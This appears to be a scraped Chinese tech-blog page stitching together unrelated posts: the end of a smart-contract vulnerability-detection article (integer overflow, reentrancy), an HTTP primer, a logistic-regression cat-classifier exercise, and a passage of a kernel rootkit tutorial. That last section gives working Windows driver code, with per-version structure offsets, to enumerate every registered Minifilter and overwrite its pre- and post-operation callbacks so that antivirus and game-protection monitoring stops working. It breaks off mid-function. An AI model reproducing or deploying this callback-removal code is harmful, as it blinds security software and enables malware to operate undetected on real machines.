    这段反编译后的代码对应的是智能合约中的overflow函数,第000149行的ADD指令对应的是函数中max + 1这行代码。ADD指令会把栈顶的两个值出栈,相加后把结果压入栈顶。下面我们就通过一段伪代码来演示如何检测整数溢出漏洞:
    def checkOverflow(): first = stack.pop(0) second = stack.pop(0) first = BitVecVal(first, 256) second = BitVecVal(second, 256) computed = first + second solver.add(UGT(first, computed)) if check_sat(solver) == sat: print "have overflow"
    我们先把栈顶的两个值出栈,然后使用z3中BitVecVal()函数的把这两个值转变成位向量常量,接着计算两个位向量常量相加的结果,最后构建表达式UGT(first, computed)来判断加数是否大于相加的结果,如果该表达式有解则说明会发生整数溢出[4]。
    5.2.2 重入漏洞的检测在分析重入漏洞之前,我们先来总结在智能合约中用于转账的方法:

    address.transfer(amount): 当发送失败时会抛出异常,只会传递2300Gas供调用,可以防止重入漏洞
    address.send(amount): 当发送失败时会返回false,只会传递2300Gas供调用,可以防止重入漏洞
    address.gas(gas_value).call.value(amount)(): 当发送失败时会返回false,传递所有可用Gas进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入

    通过以上对比不难发现,transfer(amount)和send(amount)限制Gas最多为2300,使用这两个方法转账可以有效地防止重入漏洞。call.value(amount)()默认不限制Gas的使用,这就会很容易导致重入漏洞的产生。既然call指令是产生重入漏洞的原因所在,那么接下来我们就详细分析这条指令。
    call指令有七个参数,每个参数的含义如下所示:
    call(gas, address, value, in, insize, out, outsize)

    第一个参数是指定的gas限制,如果不指定该参数,默认不限制。
    第二个参数是接收转账的地址
    第三个参数是转账的金额
    第四个参数是输入给call指令的数据在memory中的起始地址
    第五个参数是输入的数据的长度
    第六个参数是call指令输出的数据在memory中的起始地址
    第七个参数是call指令输出的数据的长度

    通过以上的分析,总结下来我们可以从以下两个维度去检测重入漏洞:

    判断call指令第一个参数的值,如果没有设置gas限制,那么就有产生重入漏洞的风险
    检查call指令之后,是否还有其他的操作

    第二个维度中提到的call指令之后是否还有其他操作,是如何可以检测到重入漏洞的呢?接下来我们就详细分析下。在5.1.2节中的智能合约Bank是存在重入漏洞的,根本原因就是使用call指令进行转账没有设置Gas限制,同时在withdraw方法中先退币再去修改账本balances,关键代码如下:
    receiver.call.value(amount)();balances[msg.sender] -= amount;
    执行call指令的时候,会触发Attack中的fallback函数,而Attack的fallback函数中会再次执行退币操作,如此递归下去,导致Bank无法执行接下来的修改账本balances的操作。此时如果我们对代码做出如下调整,先修改账本balances,之后再去调用call指令,虽然也还会触发Attack中的fallback函数,Attack的fallback函数中也还会再次执行退币操作,但是每次退币操作都是先修改账本balances,所以Attack只能得到自己之前存放在Bank中的币,重入漏洞不会发生。
    balances[msg.sender] -= amount;receiver.call.value(amount)();
    总结本文的第一章介绍了智能合约编译环境的搭建以及编译器的使用,第二章讲解了常用的汇编指令并且对反编译后的代码进行了逐行的分析。前两章都是基本的准备工作,从第三章开始,我们使用之前的反编译代码,构建了完整的控制流图。第四章中我们介绍了z3的用法以及如何把控制流图中的基本块中的指令用z3转换成数学表达式。第五章中我们通过整数溢出和重入漏洞的案例,详细分析了如何在约束求解的过程中检测智能合约中的漏洞。最后,希望读者在阅读本文后能有所收获,如有不足之处欢迎指正。
    参考
    https://blog.csdn.net/zxhoo/article/details/81865629
    http://cc.jlu.edu.cn/G2S/Template/View.aspx
    https://ericpony.github.io/z3py-tutorial/guide-examples.htm
    https://github.com/melonproject/oyente

    本文转载自(原文链接):
    https://blogs.360.cn/post/staticAnalysis_of_smartContract.html
    2 留言 2020-05-24 20:17:38 奖励36点积分
  • HTTP:超文本传输协议

    概念
    HTTP == Hyper Text Transfer Protocol超文本传输协议

    <font color='blue'>传输协议:定义了客户端和服务器端通信时,发送数据的格式。</font>




    特点
    基于TCP/IP的高级协议默认端口号:80基于请求/响应模型的:一次请求对应一次响应
    无状态的:每次请求之间相互独立,不能交互数据
    网页中每一个文件都是一次单独的请求,几张图片,就是几次请求。如下图所示。

    <!--more-->

    历史版本http 0.9
    只有一个命令GET没有HEADER等描述数据的信息服务器发送完毕,就关闭TCP连接每一次请求响应都会建立新的连接
    http 1.0
    增加了很多命令,如status code和header多字符集支持、多部分发送、权限、缓存等
    http 1.1
    持久连接:keep-alive复用连接(较http1.0的每一次请求响应都会建立新的连接。好处:节约了连接的资源,提升了传输的速度。)提高性能的关键是低延迟而不是高带宽。较http1.0,对缓存的支持更好

    推送:主动发送js、css推送到浏览器。
    二进制流:可以并行发送数据。

    http 2.0
    所有数据以二进制传输同一个连接里面发送多个请求不再需要按顺序来头消息压缩以及推送等提高效率的功能所有的请求共用一个连接,可以更有效的使用tcp连接,通过带宽来提升http性能可以减少服务链接的压力,内存减少了,链接吞吐量大了解决浏览器连接数有限的问题资源合并减少请求的优化手段在http2.0来说是没有效果的
    请求信息数据 格式
    Servlet类中service()方法的参数ServletRequest字符串格式,比如:
    POST /login.html HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://localhost/login.htmlConnection: keep-aliveUpgrade-Insecure-Requests: 1username=zhangsan以下关于 <font color='blue'>请求信息数据格式</font> 的内容有缺省,详细见下一篇博客 《HTTP请求信息数据 - Request》 中。
    请求行
    格式:请求方式 请求url 请求协议/版本
    请求方式
    HTTP协议有7种请求协议,常用的有GET、POST两种<font color='orange'>GET</font>



    请求参数在请求行中,在url后请求的url长度有限制的不太安全(参数跟在url之后)浏览器控制台显示👇


    <font color='orange'>POST</font>



    请求参数在请求体中请求的url长度没有限制的相对安全(参数在请求体中)浏览器控制台显示👇

    请求url
    假设为 /login.html
    请求协议/版本
    HTTP/1.1
    请求头
    客户端浏览器告诉服务器一些信息格式:请求头名称 : 请求头值若有多个,则一行一个。
    常见的请求头
    Host
    User-Agent
    Referer
    Host
    请求的主机地址
    User-Agent
    浏览器告诉服务器,我访问你时候使用的浏览器版本信息作用:可以在服务器端获取该头的信息,解决浏览器的兼容性问题
    Referer
    比如上面几张图片的Referer是 http://localhost/login.html告诉服务器,我(当前请求)从哪里来?作用:防盗链、统计工作举个例子:我的网站想播放《战狼2》电影👇

    Connection
    keep-alivehttp1.1,表示该链接可以被复用
    请求空行
    就是一个空行(空白行)作用:分割POST请求的请求头和请求体
    请求体/请求正文
    封装POST请求信息的请求参数
    <br>下一篇博客 《HTTP请求信息数据 - Request》 中,详细学习了 请求信息数据 - Request。
    响应信息数据 格式
    Servlet类中service()方法的参数ServletResponse
    字符串数据,比如:

    HTTP/1.1 200 OKContent-Type: text/html;charset=UTF-8Content-Length: 101Date: Wed, 06 Jun 2018 07:08:42 GMT<html> <head> <title>$Title$</title> </head> <body> hello , response </body></html>响应行
    格式:协议/版本 响应状态码 状态码描述
    响应状态码
    服务器告诉客户端浏览器本次请求和响应的一个状态。
    特点
    状态码都是3位数字
    分类
    1xx:服务器就收客户端消息,但没有接受完成,等待一段时间后,发送1xx状态码2xx:成功。代表:
    200
    3xx:重定向。代表:
    302:重定向304:访问缓存
    4xx:客户端错误。代表:
    403:错误是一种在网站访问过程中,常见的错误提示,表示资源不可用。服务器理解客户的请求,但拒绝处理它,通常由于服务器上文件或目录的权限设置导致的WEB访问错误。 404:请求路径没有对应的资源405:请求方式没有对应的doXxx方法
    5xx:服务器端错误。代表:500(服务器内部出现异常)

    响应头
    格式:响应头名称 :值
    常见的响应头
    Content-TypeContent-disposition
    Content-Type
    服务器告诉客户端本次响应体数据格式以及编码格式
    Content-disposition
    服务器告诉客户端以什么格式打开响应体数据
    其值:
    in-line:默认值,在当前页面内打开
    attachment;filename=xxx:以附件形式打开响应体。涉及文件下载等功能。
    响应空行
    就是一个空行(空白行)作用:分割响应头和响应体
    响应体
    传输的数据文件、HTML网页源码等等。比如,
    <html> <head> <title>$Title$</title> </head> <body> hello , response </body></html><br>
    下下篇博客 《HTTP响应信息数据 - Response》 中,详细学习响应信息数据 - Response。
    1 留言 2020-03-21 20:51:59 奖励36点积分
  • Course1-神经网络和深度学习编程作业

    第一课第二周实现功能:这段代码主要实现的功能是判断一张图片是否有cat,实现的是二分类,有就为1,没有就为0。
    训练方法:BP网络,此代码很简单,没有隐藏层,直接就是输入层连着输出层,z=W’X+b,a=sigmoid(z) ,y=a故权值w是一维。(这一步体现在w = np.zeros(shape = (dim,1), dtype = np.float32))网络结构如下图所示:(实际输入不止x1,x2,x3。是x1,x2~~x12288.(个数是由图片64x64x3算出来的))

    BP算法
    基本思想:学习过程由信号的正向传播和误差的反向传播两个过程组成。(这一步体现在propagate()函数)
    数学工具:微积分的链式求导法则。
    求解最小化成本函数(cost function):梯度下降法。(这一步体现在optimize()函数)
    损失函数(Loss function):指单个训练样本进行预测的结果与实际结果的误差。
    代价函数(Cost function):整个训练集,所有样本误差总和(所有损失函数总和)的平均值。

    在开始之前,我们有需要引入的库:

    numpy :是用Python进行科学计算的基本软件包。
    h5py:是与H5文件中存储的数据集进行交互的常用软件包。
    matplotlib:是一个著名的库,用于在Python中绘制图表。
    lr_utils :课程提供的一个加载资料包里面的数据的简单功能的库。

    lr_utils.py代码如下:
    import numpy as npimport h5pydef load_dataset(): train_dataset = h5py.File('datasets/train_catvnoncat.h5', "r") train_set_x_orig = np.array(train_dataset["train_set_x"][:]) # your train set features train_set_y_orig = np.array(train_dataset["train_set_y"][:]) # your train set labels test_dataset = h5py.File('datasets/test_catvnoncat.h5', "r") test_set_x_orig = np.array(test_dataset["test_set_x"][:]) # your test set features test_set_y_orig = np.array(test_dataset["test_set_y"][:]) # your test set labels classes = np.array(test_dataset["list_classes"][:]) # the list of classes train_set_y_orig = train_set_y_orig.reshape((1, train_set_y_orig.shape[0])) test_set_y_orig = test_set_y_orig.reshape((1, test_set_y_orig.shape[0])) return train_set_x_orig, train_set_y_orig, test_set_x_orig, test_set_y_orig, classes释以下上面的load_dataset() 返回的值的含义:

    train_set_x_orig :保存的是训练集里面的图像数据(本训练集有209张64x64的图像)。
    train_set_y_orig :保存的是训练集的图像对应的分类值(【0 | 1】,0表示不是猫,1表示是猫)。
    test_set_x_orig :保存的是测试集里面的图像数据(本训练集有50张64x64的图像)。
    test_set_y_orig : 保存的是测试集的图像对应的分类值(【0 | 1】,0表示不是猫,1表示是猫)。
    classes : 保存的是以bytes类型保存的两个字符串数据,数据为:[b’non-cat’ b’cat’]。

    我们可以看一下我们加载的文件里面的图片都是些什么样子的,比如查看训练集里面的第26张图片。
    index = 25plt.imshow(train_set_x_orig[index])plt.show()#显示图片是只猫的图片现在我们可以结合一下训练集里面的数据来看一下到底都加载了一些什么东西。
    #打印出当前的训练标签值#使用np.squeeze的目的是压缩维度#【未压缩】train_set_y[:,index]的值为[1] , 【压缩后】np.squeeze(train_set_y[:,index])的值为1#print("【使用np.squeeze:" + str(np.squeeze(train_set_y[:,index])) + "#不使用np.squeeze: " + str(train_set_y[:,index]) + "】")#只有压缩后的值才能进行解码操作print("y=" + str(train_set_y[:,index]) + ", it's a " + classes[np.squeeze(train_set_y[:,index])].decode("utf-8") + "' picture")打印出的结果是:y=[1], it’s a cat’ picture,参数解释:

    m_train :训练集里图片的数量。
    m_test :测试集里图片的数量。
    num_px : 训练、测试集里面的图片的宽度和高度(均为64x64)。

    记住:trainset_x_orig 是一个维度为(m\​​train,num_px,num_px,3)的数组。
    m_train = train_set_y.shape[1] #训练集里图片的数量。m_test = test_set_y.shape[1] #测试集里图片的数量。num_px = train_set_x_orig.shape[1] #训练、测试集里面的图片的宽度和高度(均为64x64)。#现在看一看我们加载的东西的具体情况print ("训练集的数量: m_train = " + str(m_train))print ("测试集的数量 : m_test = " + str(m_test))print ("每张图片的宽/高 : num_px = " + str(num_px))print ("每张图片的大小 : (" + str(num_px) + ", " + str(num_px) + ", 3)")print ("训练集_图片的维数 : " + str(train_set_x_orig.shape))print ("训练集_标签的维数 : " + str(train_set_y.shape))print ("测试集_图片的维数: " + str(test_set_x_orig.shape))print ("测试集_标签的维数: " + str(test_set_y.shape))运行结果:
    训练集的数量: m_train = 209测试集的数量 : m_test = 50每张图片的宽/高 : num_px = 64每张图片的大小 : (64, 64, 3)训练集_图片的维数 : (209, 64, 64, 3)训练集_标签的维数 : (1, 209)测试集_图片的维数: (50, 64, 64, 3)测试集_标签的维数: (1, 50)为了方便,我们要把维度为(64,64,3)的numpy数组重新构造为(64 x 64 x 3,1)的数组,要乘以3的原因是每张图片是由64x64像素构成的,而每个像素点由(R,G,B)三原色构成的,所以要乘以3。从此,训练和测试的数据集是一个numpy数组,每列代表一个平坦的图像,应该有m_train和m_test列。
    当你想将形状(a,b,c,d)的矩阵X平铺成形状(bxcxd,a)的矩阵X_flatten时,可以使用以下代码:
    #X_flatten = X.reshape(X.shape [0],-1).T #X.T是X的转置#将训练集的维度降低并转置。train_set_x_flatten = train_set_x_orig.reshape(train_set_x_orig.shape[0],-1).T#将测试集的维度降低并转置。test_set_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0], -1).T这一段意思是指把数组变为209行的矩阵(因为训练集里有209张图片),但是不知道列有多少,于是我就用-1告诉程序帮我算,最后程序算出来时12288列,我再最后用一个T表示转置,这就变成了12288行,209列。测试集亦如此。
    然后我们看看降维之后的情况是怎么样的:
    print ("训练集降维最后的维度: " + str(train_set_x_flatten.shape))print ("训练集_标签的维数 : " + str(train_set_y.shape))print ("测试集降维之后的维度: " + str(test_set_x_flatten.shape))print ("测试集_标签的维数 : " + str(test_set_y.shape))执行之后的结果为:
    训练集降维最后的维度: (12288, 209)训练集_标签的维数 : (1, 209)测试集降维之后的维度: (12288, 50)测试集_标签的维数 : (1, 50)为了表示彩色图像,必须为每个像素指定红色,绿色和蓝色通道(RGB),因此像素值实际上是从0到255范围内的三个数字的向量。机器学习中一个常见的预处理步骤是对数据集进行居中和标准化,这意味着可以减去每个示例中整个numpy数组的平均值,然后将每个示例除以整个numpy数组的标准偏差。但对于图片数据集,它更简单,更方便,几乎可以将数据集的每一行除以255(像素通道的最大值),因为在RGB中不存在比255大的数据,所以我们可以放心的除以255,让标准化的数据位于[0,1]之间,现在标准化我们的数据集:
    train_set_x = train_set_x_flatten / 255test_set_x = test_set_x_flatten / 255
    至此,已经把加载的数据集弄好了。

    现在开始构建神经网络。

    建立神经网络的主要步骤是:

    定义模型结构(例如输入特征的数量)
    初始化模型的参数
    循环: (1)计算当前损失(正向传播) (2)计算当前梯度(反向传播) (3)更新参数(梯度下降)

    现在构建sigmoid(),需要使用 sigmoid(w ^ T x + b)计算来做出预测。
    #定义激励函数def sigmoid(z): s = 1/(1 + np.exp(-z)) return s初始化我们需要的参数w和b。
    def initialize_with_zeros(dim): """ 此函数为w创建一个维度为(dim,1)的0向量,并将b初始化为0。 参数: dim - 我们想要的w矢量的大小(或者这种情况下的参数数量) 返回: w - 维度为(dim,1)的初始化向量。 b - 初始化的标量(对应于偏差) """ w = np.zeros(shape = (dim,1)) b = 0 #使用断言来确保我要的数据是正确的 assert(w.shape == (dim, 1)) #w的维度是(dim,1) assert(isinstance(b, float) or isinstance(b, int)) #b的类型是float或者是int return (w , b)初始化参数的函数已经构建好了,现在就可以执行“前向”和“后向”传播步骤来学习参数。
    def propagate(w, b, X, Y): """ 实现前向和后向传播的成本函数及其梯度。 参数: w - 权重,大小不等的数组(num_px * num_px * 3,1) b - 偏差,一个标量 X - 矩阵类型为(num_px * num_px * 3,训练数量) Y - 真正的“标签”矢量(如果非猫则为0,如果是猫则为1),矩阵维度为(1,训练数据数量) 返回: cost- 逻辑回归的负对数似然成本 dw - 相对于w的损失梯度,因此与w相同的形状 db - 相对于b的损失梯度,因此与b的形状相同 """ m = X.shape[1] #正向传播 A = sigmoid(np.dot(w.T,X) + b) #计算激活值,请参考公式2。 cost = (- 1 / m) * np.sum(Y * np.log(A) + (1 - Y) * (np.log(1 - A))) #计算成本. #反向传播 dw = (1 / m) * np.dot(X, (A - Y).T) #请参考视频中的偏导公式。 db = (1 / m) * np.sum(A - Y) #请参考视频中的偏导公式。 #使用断言确保我的数据是正确的 assert(dw.shape == w.shape) assert(db.dtype == float) cost = np.squeeze(cost) assert(cost.shape == ()) #创建一个字典,把dw和db保存起来。 grads = { "dw": dw, "db": db } return (grads , cost)现在,我要使用渐变下降更新参数,目标是通过最小化成本函数J来学习w和b。
    def optimize(w , b , X , Y , num_iterations , learning_rate , print_cost = False): """ 此函数通过运行梯度下降算法来优化w和b 参数: w - 权重,大小不等的数组(num_px * num_px * 3,1) b - 偏差,一个标量 X - 维度为(num_px * num_px * 3,训练数据的数量)的数组。 Y - 真正的“标签”矢量(如果非猫则为0,如果是猫则为1),矩阵维度为(1,训练数据的数量) num_iterations - 优化循环的迭代次数 learning_rate - 梯度下降更新规则的学习率 print_cost - 每100步打印一次损失值 返回: params - 包含权重w和偏差b的字典 grads - 包含权重和偏差相对于成本函数的梯度的字典 成本 - 优化期间计算的所有成本列表,将用于绘制学习曲线。 提示: 我们需要写下两个步骤并遍历它们: 1)计算当前参数的成本和梯度,使用propagate()。 2)使用w和b的梯度下降法则更新参数。 """ costs = [] for i in range(num_iterations): grads, cost = propagate(w, b, X, Y) dw = grads["dw"] db = grads["db"] w = w - learning_rate * dw b = b - learning_rate * db #记录成本 if i % 100 == 0: costs.append(cost) #打印成本数据 if (print_cost) and (i % 100 == 0): print("迭代的次数: %i , 误差值: %f" % (i,cost)) params = { "w" : w, "b" : b } grads = { "dw": dw, "db": db } return (params , grads , costs)现在我们要实现预测函数predict()。

    def predict(w , b , X ): """ 使用学习逻辑回归参数logistic (w,b)预测标签是0还是1, 参数: w - 权重,大小不等的数组(num_px * num_px * 3,1) b - 偏差,一个标量 X - 维度为(num_px * num_px * 3,训练数据的数量)的数据 返回: Y_prediction - 包含X中所有图片的所有预测【0 | 1】的一个numpy数组(向量) """ m = X.shape[1] #图片的数量 Y_prediction = np.zeros((1,m)) w = w.reshape(X.shape[0],1) #计预测猫在图片中出现的概率 A = sigmoid(np.dot(w.T , X) + b) for i in range(A.shape[1]): #将概率a [0,i]转换为实际预测p [0,i] Y_prediction[0,i] = 1 if A[0,i] > 0.5 else 0 #使用断言 assert(Y_prediction.shape == (1,m)) return Y_prediction就目前而言,我们基本上把所有的东西都做完了,现在我们要把这些函数统统整合到一个model()函数中,届时只需要调用一个model()就基本上完成所有的事了。
    def model(X_train , Y_train , X_test , Y_test , num_iterations = 2000 , learning_rate = 0.5 , print_cost = False): """ 通过调用之前实现的函数来构建逻辑回归模型 参数: X_train - numpy的数组,维度为(num_px * num_px * 3,m_train)的训练集 Y_train - numpy的数组,维度为(1,m_train)(矢量)的训练标签集 X_test - numpy的数组,维度为(num_px * num_px * 3,m_test)的测试集 Y_test - numpy的数组,维度为(1,m_test)的(向量)的测试标签集 num_iterations - 表示用于优化参数的迭代次数的超参数 learning_rate - 表示optimize()更新规则中使用的学习速率的超参数 print_cost - 设置为true以每100次迭代打印成本 返回: d - 包含有关模型信息的字典。 """ w , b = initialize_with_zeros(X_train.shape[0]) parameters , grads , costs = optimize(w , b , X_train , Y_train,num_iterations , learning_rate , print_cost) #从字典“参数”中检索参数w和b w , b = parameters["w"] , parameters["b"] #预测测试/训练集的例子 Y_prediction_test = predict(w , b, X_test) Y_prediction_train = predict(w , b, X_train) #打印训练后的准确性 print("训练集准确性:" , format(100 - np.mean(np.abs(Y_prediction_train - Y_train)) * 100) ,"%") print("测试集准确性:" , format(100 - np.mean(np.abs(Y_prediction_test - Y_test)) * 100) ,"%") d = { "costs" : costs, "Y_prediction_test" : Y_prediction_test, "Y_prediciton_train" : Y_prediction_train, "w" : w, "b" : b, "learning_rate" : learning_rate, "num_iterations" : num_iterations } return d绘制学习效率曲线图。
    costs = np.squeeze(d['costs'])plt.plot(costs)plt.ylabel('cost')plt.xlabel('iterations (per hundreds)')plt.title("Learning rate =" + str(d["learning_rate"]))plt.show()
    1 留言 2020-05-04 12:29:24 奖励36点积分
  • 枚举并删除系统上Minifilter回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 Minifilter 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    函数介绍FltEnumerateFilters 函数
    列举系统中所有注册的 Minifilter 驱动程序。
    函数声明
    NTSTATUS FltEnumerateFilters( _Out_ PFLT_FILTER *FilterList, _In_ ULONG FilterListSize, _Out_ PULONG NumberFiltersReturned);
    参数

    FilterList [out]指向调用者分配的缓冲区的指针,该缓冲区接收不透明的过滤器指针数组。此参数是可选的,如果FilterListSize参数的值为零,则该参数可以为NULL。如果FilterListSize在输入上为零,并且FilterList为NULL,则NumberFiltersReturned参数将接收找到的 Minifilter 驱动程序的数量。FilterListSize [in]FilterList参数指向的缓冲区可以容纳的不透明过滤器指针数。该参数是可选的,可以为零。如果FilterListSize在输入上为零,并且FilterList为NULL,则NumberFiltersReturned参数将接收找到的 Minifilter 驱动程序的数量。NumberFiltersReturned [out]指向调用者分配的变量,该变量接收FilterList参数指向的数组中返回的不透明过滤器指针数。如果FilterListSize参数值太小,并且FilterList在输入上不为NULL,FltEnumerateFilters将返回STATUS_BUFFER_TOO_SMALL,并将NumberFiltersReturn设置为指向找到的minifilter驱动程序的数量。此参数是必需的,不能为NULL。
    返回值

    成功,则返回 STATUS_SUCCESS;失败,则返回其它 NTSTATUS 错误码。

    实现原理枚举 Minifilter 驱动程序的回调,并不像枚举进程回调、线程回调、模块加载回调、注册表回调、对象回调那样,需要我们自己逆向寻找数组或是链表的地址,因为,Minifilter 驱动程序提供了 FltEnumerateFilters 内核函数给我们,用来获取系统上所有注册成功的 Minifilter 回调。
    FltEnumerateFilters 函数可以获取系统上所有注册成功的 Minifilter 的过滤器对象指针数组 PFLT_FILTER *。PFLT_FILTER 数据类型在不同的系统上,它的定义是不同的。下面是我们使用 WinDbg 获取 Win10 x64 上的结构定义:
    lkd> dt fltmgr!_FLT_FILTER +0x000 Base : _FLT_OBJECT +0x030 Frame : Ptr64 _FLTP_FRAME +0x038 Name : _UNICODE_STRING +0x048 DefaultAltitude : _UNICODE_STRING +0x058 Flags : _FLT_FILTER_FLAGS +0x060 DriverObject : Ptr64 _DRIVER_OBJECT +0x068 InstanceList : _FLT_RESOURCE_LIST_HEAD +0x0e8 VerifierExtension : Ptr64 _FLT_VERIFIER_EXTENSION +0x0f0 VerifiedFiltersLink : _LIST_ENTRY +0x100 FilterUnload : Ptr64 long +0x108 InstanceSetup : Ptr64 long +0x110 InstanceQueryTeardown : Ptr64 long +0x118 InstanceTeardownStart : Ptr64 void +0x120 InstanceTeardownComplete : Ptr64 void +0x128 SupportedContextsListHead : Ptr64 _ALLOCATE_CONTEXT_HEADER +0x130 SupportedContexts : [7] Ptr64 _ALLOCATE_CONTEXT_HEADER +0x168 PreVolumeMount : Ptr64 _FLT_PREOP_CALLBACK_STATUS +0x170 PostVolumeMount : Ptr64 _FLT_POSTOP_CALLBACK_STATUS +0x178 GenerateFileName : Ptr64 long +0x180 NormalizeNameComponent : Ptr64 long +0x188 NormalizeNameComponentEx : Ptr64 long +0x190 NormalizeContextCleanup : Ptr64 void +0x198 KtmNotification : Ptr64 long +0x1a0 SectionNotification : Ptr64 long +0x1a8 Operations : Ptr64 _FLT_OPERATION_REGISTRATION +0x1b0 OldDriverUnload : Ptr64 void +0x1b8 ActiveOpens : _FLT_MUTEX_LIST_HEAD +0x208 ConnectionList : _FLT_MUTEX_LIST_HEAD +0x258 PortList : _FLT_MUTEX_LIST_HEAD +0x2a8 PortLock : _EX_PUSH_LOCK
    其中,成员 Operations 就存储着 Minifilter 过滤器对象对应的回调信息,数据类型是 FLT_OPERATION_REGISTRATION,该结构是固定的。在头文件 fltKernel.h 里有 FLT_OPERATION_REGISTRATION 结构体定义:
    typedef struct _FLT_OPERATION_REGISTRATION { UCHAR MajorFunction; FLT_OPERATION_REGISTRATION_FLAGS Flags; PFLT_PRE_OPERATION_CALLBACK PreOperation; PFLT_POST_OPERATION_CALLBACK PostOperation; PVOID Reserved1;} FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION;
    从结构体里面可知,从中可获取 Minifilter 驱动程序的消息类型 MajorFunction,操作前回调函数地址 PreOperation,操作后回调函数地址 PostOperation 等信息。
    所以,遍历系统上所有的 Minifilter 回调,原理就是:

    调用 FltEnumerateFilters 内核函数获取系统上注册成功的 Minifilter 驱动程序的过滤器对象指针数组 PFLT_FILTER *。然后,我们遍历过滤器对象指针 PFLT_FILTER,从中可以获取 Operations 成员的数据,数据类型为 FLT_OPERATION_REGISTRATION,可以从中获取 Minifilter 回调信息。
    要注意的是,由于不同的系统,FLT_FILTER 数据结构的定义都不相同,所以成员 Operations 在数据结构中的偏移也是不固定的。下面是我使用 WinDbg 逆向各个系统中 FLT_FILTER 的数据结构定义,总结出来的 Operations 偏移大小:




    Win 7
    Win 8.1
    Win 10




    32 位
    0xCC
    0xD4
    0xE4


    64 位
    0x188
    0x198
    0x1A8



    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。其中,我们不能调用 FltUnregisterFilter 函数删除 Minifilter 回调,因为微软规定 FltUnregisterFilter 函数只能在 Minifilter 自身的驱动程序中调用,不能在其它的驱动程序中调用使用。所以,要删除回调函数可以有 2 种方式。

    直接修改 FLT_OPERATION_REGISTRATION 数据结构中的操作前回调函数和操作后回调函数的地址数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数。修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作。
    编码实现声明头文件 fltKernel.h:
    #include <fltKernel.h>
    导入库文件 FltMgr.lib:
    右击项目“属性” --> 链接器 --> 输入 --> 在“附加依赖项”中添加 FltMgr.lib。
    遍历 Minifilter 回调// 遍历回调BOOLEAN EnumCallback(){ NTSTATUS status = STATUS_SUCCESS; ULONG ulFilterListSize = 0; PFLT_FILTER *ppFilterList = NULL; ULONG i = 0; LONG lOperationsOffset = 0; PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; // 获取 Minifilter 过滤器Filter 的数量 FltEnumerateFilters(NULL, 0, &ulFilterListSize); // 申请内存 ppFilterList = (PFLT_FILTER *)ExAllocatePool(NonPagedPool, ulFilterListSize *sizeof(PFLT_FILTER)); if (NULL == ppFilterList) { DbgPrint("ExAllocatePool Error!\n"); return FALSE; } // 获取 Minifilter 中所有过滤器Filter 的信息 status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize); if (!NT_SUCCESS(status)) { DbgPrint("FltEnumerateFilters Error![0x%X]\n", status); return FALSE; } DbgPrint("ulFilterListSize=%d\n", ulFilterListSize); // 获取 PFLT_FILTER 中 Operations 偏移 lOperationsOffset = GetOperationsOffset(); if (0 == lOperationsOffset) { DbgPrint("GetOperationsOffset Error\n"); return FALSE; } // 开始遍历 Minifilter 中各个过滤器Filter 的信息 __try { for (i = 0; i < ulFilterListSize; i++) { // 获取 PFLT_FILTER 中 Operations 成员地址 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)ppFilterList[i] + lOperationsOffset)); __try { // 同一过滤器下的回调信息 DbgPrint("-------------------------------------------------------------------------------\n"); while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) { if (IRP_MJ_MAXIMUM_FUNCTION > pFltOperationRegistration->MajorFunction) // MajorFunction ID Is: 0~27 { // 显示 DbgPrint("[Filter=%p]IRP=%d, PreFunc=0x%p, PostFunc=0x%p\n", ppFilterList[i], pFltOperationRegistration->MajorFunction, pFltOperationRegistration->PreOperation, pFltOperationRegistration->PostOperation); } // 获取下一个消息回调信息 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION)); } DbgPrint("-------------------------------------------------------------------------------\n"); } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("[2_EXCEPTION_EXECUTE_HANDLER]\n"); } } } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("[1_EXCEPTION_EXECUTE_HANDLER]\n"); } // 释放内存 ExFreePool(ppFilterList); ppFilterList = NULL; return TRUE;}
    移除 Minifilter 回调// 移除回调NTSTATUS RemoveCallback(PFLT_FILTER pFilter){ LONG lOperationsOffset = 0; PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; // 开始遍历 过滤器Filter 的信息 // 获取 PFLT_FILTER 中 Operations 成员地址 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)pFilter + lOperationsOffset)); __try { // 同一过滤器下的回调信息 while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) { if (IRP_MJ_MAXIMUM_FUNCTION > pFltOperationRegistration->MajorFunction) // MajorFunction ID Is: 0~27 { // 替换回调函数 pFltOperationRegistration->PreOperation = New_MiniFilterPreOperation; pFltOperationRegistration->PostOperation = New_MiniFilterPostOperation; // 显示 DbgPrint("[Filter=%p]IRP=%d, PreFunc=0x%p, PostFunc=0x%p\n", pFilter, pFltOperationRegistration->MajorFunction, pFltOperationRegistration->PreOperation, 